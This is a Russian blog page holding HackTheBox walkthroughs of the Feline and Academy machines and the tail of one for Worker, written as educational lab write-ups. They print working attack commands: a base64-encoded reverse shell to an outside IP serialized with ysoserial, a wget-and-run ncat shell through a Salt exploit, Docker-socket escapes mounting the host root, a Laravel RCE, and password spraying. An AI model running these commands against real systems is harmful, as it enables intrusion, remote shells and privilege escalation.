cme winrm -u user.txt -p pass.txt --no-bruteforce --continue-on-success worker.htb

И как итог, мы находим учетные данные системного пользователя. Подключаемся и забираем флаг.

ROOT

С этими же учетными данными мы возвращаемся на наш сайт.

Но в этот раз мы можем создать свой проект и выполнить произвольные команды через консоль. Так давайте сделаем это.

В данном файле мы убираем pool и в steps -> script пишем то, что должна выполнить система. К примеру, загрузить и выполнить прежний шелл.

И в окне листенера наблюдаем новое подключение, но теперь шелл с высокими привилегиями.

Подробнее..

HackTheBox. Прохождение Feline. RCE через сереализацию в Java и LPE через докер сокеты

21.02.2021 08:04:54 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;

  • криптография (Crypto);

  • cетевые технологии (Network);

  • реверс(Reverse Engineering);

  • стеганография(Stegano);

  • поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеает IP адрес 10.10.10.205, который я добавляю в /etc/hosts.

10.10.10.205    feline.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Мы имеем 2 открытых порта и, как обычно, идем на веб. Нас встречает форма загрузки файла. В описании сказано, что файл будет запущен.

Плюс ко всему, мы находим уязвимость для данной версии веб сервера.

Как сказано в описании к данной CVE, зная путь к файлу, мы можем выполнить сереализованный java-код.

Entry Point

Просто убрав имя файл, из перехваченного запроса, в ошибке Java мы можем найти путь, по которому загрузится файл.

Для сереализации используем ysoserial. Давайте напишем скрипт для быстрого создания бэкконнекта.

USER

Сначала сам шелл, закодированный в base64.

#!/bin/bash rshell="bash -c 'bash -i >& /dev/tcp/10.10.14.38/4321 0>&1'" code_rshell="bash -c {echo,$(echo -n $rshell|base64)}|{base64,-d}|{bash,-i}"

Теперь сериализуем его.

java -jar /home/ralf/tmp/ysoserial.jar CommonsCollections4 "$code_rshell" > /home/ralf/tmp/r_payload.session 

Загружаем файл.

curl -s -F "data=@/home/ralf/tmp/r_payload.session" http://feline.htb:8080/upload.jsp?email=hackerralf8@gmail.com > /dev/null 

И выполняем бэкконнект.

curl -s http://feline.htb:8080/ -H "Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/r_payload" > /dev/null

Так мы берем пользователя.

Docker ROOT

Для разведки на хосте используем LinPEAS.Мы находим интересные сетевый интерфейсы, говорящие нам о наличии докера и смотрим сетевые соединения.

Получая информацию о каждом используемом локальном порте, останавливаемся на 4506.

И находим PoC для данной CVE. Для того, чтобы его использовать нам нужно туннелировать порт. Сделаем это м помощью chisel. Откроем листенер а локальной машине.

chisel.bin server -p 56765 --reverse

И выполним коннект с удаленного хоста.

chisel.bin client 10.10.14.38:56765 R:4506:127.0.0.1:4506

Как можно заметить, мы туннелируем порт.

Откроем листенер для нового бэкшелла и выполним эксплоит. В качестве нагрузки используем цепочку команд, в которой мы скачиваем с локальной машины netcat и выполняем подключение.

python3 exploit.py --master localhost --exec "wget 10.10.14.38:8000/ncat -O /tmp/ncat; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.38 6543"

И у нас есть рут в докере.

ROOT

Для разведки в докер контейнере используем deepce.

И видим, что есть докер сокет. Давайте получим информацию о контейнере.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json

И мы имеем ID образа. Давайте создадим файл конфигурации по следующему подобию.

{"Image": "188a2704d8b0","Cmd": ["/bin/sh"],"DetachKeys": "Ctrl-p,Ctrl-q","OpenStdin": true,"Mounts": [{"Type": "bind","Source": "/","Target": "/r4lf"}]}

А теперь создаем новый контейнер.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create

Запускаем его и подключаемся к нему, используя Socat.

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/8fa6/startsocatx64.bin - UNIX-CONNECT:/var/run/docker.sock

Далее необходимо отправить следующий пост запрос.

POST /containers/8fa6/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1Host: Connection: Upgrade Upgrade: tcp

Таким образом наша система будем монтирована как /r4lf.

Подробнее..

HackTheBox. Прохождение Academy. RCE в Laravel и LPE через composer

27.02.2021 22:08:03 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;

  • криптография (Crypto);

  • cетевые технологии (Network);

  • реверс(Reverse Engineering);

  • стеганография(Stegano);

  • поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеает IP адрес 10.10.10.215, который я добавляю в /etc/hosts.

10.10.10.215    academy.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Имеем SSH, Apache и MySQL. Давайте переберем директории на вебе, я буду использовать gobuster.

gobuster dir -t 128 -u http://academy.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --timeout 30s

Находим интересную директорию админа, но нам нужно зарегистрироваться. Я все операции выполняю через Burp. И при регистрации обращаем внимание на интересный параметр.

Изменим значение roleid на 1, и наша учетная запись станет административной. В найденной ранее директории найдем список дел, в котором одна задаче будет не выполнена.

Добавим запись в /etc/hosts.

10.10.10.215 dev-staging-01.academy.htb

Перейдем по найденному адресу.

Нас встречает Laravel, как мы видим из ошибки.

Entry Point

Поищем эксплоиты, и найдем уже реализованный для metasploit.

Для его использования нам нужен APP_KEY, который мы легко находим на той же странице.

Давайте подключимся.

Получим нормальную оболочку.

python3 -c "import pty; pty.spawn('/bin/sh')"/bin/bash

USER

Запустим LinPEAS для разведки на хосте.Выделяем список пользователей и файл .env.

И именно в этом файле находим пароль.

Спрэйим найденный пароль по всем пользователям и получаем пару учетных данных.

cme ssh academy.htb -u users.txt -p 'mySup3rP4s5w0rd!!'

И берем первого пользователя.

USER 2

Так как мы состоим в группе adm, мы можем читать логи. Я начал с файла auth.log, но ничего интересного там не нашел. Дальше перешел к файла audit.log, пофильтровал вывод, оставив только используемые команды и передаваемые им аргументы, и тут ждал успех.

cat * | grep comm | grep -v '/usr/lib/systemd/systemd|apparmor_parser'

Аргументом команды su является пароль.

Снова спрэим и получаем второго пользователя.

cme ssh academy.htb -u users.txt -p 'mrb3n_Ac@d3my!'

ROOT

В настройках судоера видим использование composer с повышенными привилегиями.

Тут на помощью приходит техника GTFOBins. Там и находим LPE с помощью composer.

У нас root!

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru